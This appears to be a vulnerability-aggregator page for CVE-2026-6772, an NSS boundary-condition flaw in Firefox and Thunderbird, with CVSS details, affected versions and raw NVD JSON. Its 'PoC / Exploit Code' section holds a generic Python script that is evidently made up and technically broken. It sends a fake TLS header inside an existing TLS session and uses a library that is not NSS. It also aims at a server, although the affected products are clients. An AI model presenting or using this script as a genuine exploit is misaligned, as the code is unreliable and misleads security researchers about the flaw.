Security Vulnerability Report
中文
CVE-2026-6772 CVSS 7.5 HIGH

CVE-2026-6772

Published: 2026-04-21 13:16:23
Last Modified: 2026-04-22 16:04:22

Description

Incorrect boundary conditions in the Libraries component in NSS. This vulnerability was fixed in Firefox 150, Firefox ESR 115.35, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE
cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:* - VULNERABLE
Firefox < 150
Firefox ESR < 115.35
Firefox ESR < 140.10
Thunderbird < 150
Thunderbird < 140.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# This is a conceptual PoC for NSS boundary condition vulnerability import socket import ssl def trigger_vulnerability(target_host, target_port): # Create a TCP socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) # Wrap socket with SSL/TLS to interact with NSS context = ssl.create_default_context() # Note: Disable verification for testing purposes only context.check_hostname = False context.verify_mode = ssl.CERT_NONE try: # Connect to the target ssl_sock = context.wrap_socket(sock, server_hostname=target_host) ssl_sock.connect((target_host, target_port)) # Send malformed data to trigger incorrect boundary checks # In a real scenario, this would be a specific TLS record structure # that causes NSS to read past the buffer boundary. malformed_payload = b"\x16\x03\x01\x00\x05" + b"A" * 100 # Example malformed header ssl_sock.send(malformed_payload) # Attempt to receive response which might contain leaked memory data response = ssl_sock.recv(4096) print(f"Received response: {response}") except Exception as e: print(f"An error occurred: {e}") finally: sock.close() # Usage # trigger_vulnerability("example.com", 443)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6772", "sourceIdentifier": "[email protected]", "published": "2026-04-21T13:16:23.007", "lastModified": "2026-04-22T16:04:22.270", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect boundary conditions in the Libraries component in NSS. This vulnerability was fixed in Firefox 150, Firefox ESR 115.35, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-754"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "115.35.0", "matchCriteriaId": "E69D71F5-CAAA-4F28-AB9F-9F898A52D506"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "150.0", "matchCriteriaId": "67B01D49-66FA-4C76-9EB4-2B8CD61FBEB2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionStartIncluding": "140.0", "versionEndExcluding": "140.10.0", "matchCriteriaId": "528443E0-C15A-4E70-9187-8E1BAAE84A42"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.10.0", "matchCriteriaId": "48217E2F-FFD3-4385-B962-15365B293DA7"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2026089", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-30/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-31/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-32/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-33/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-34/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}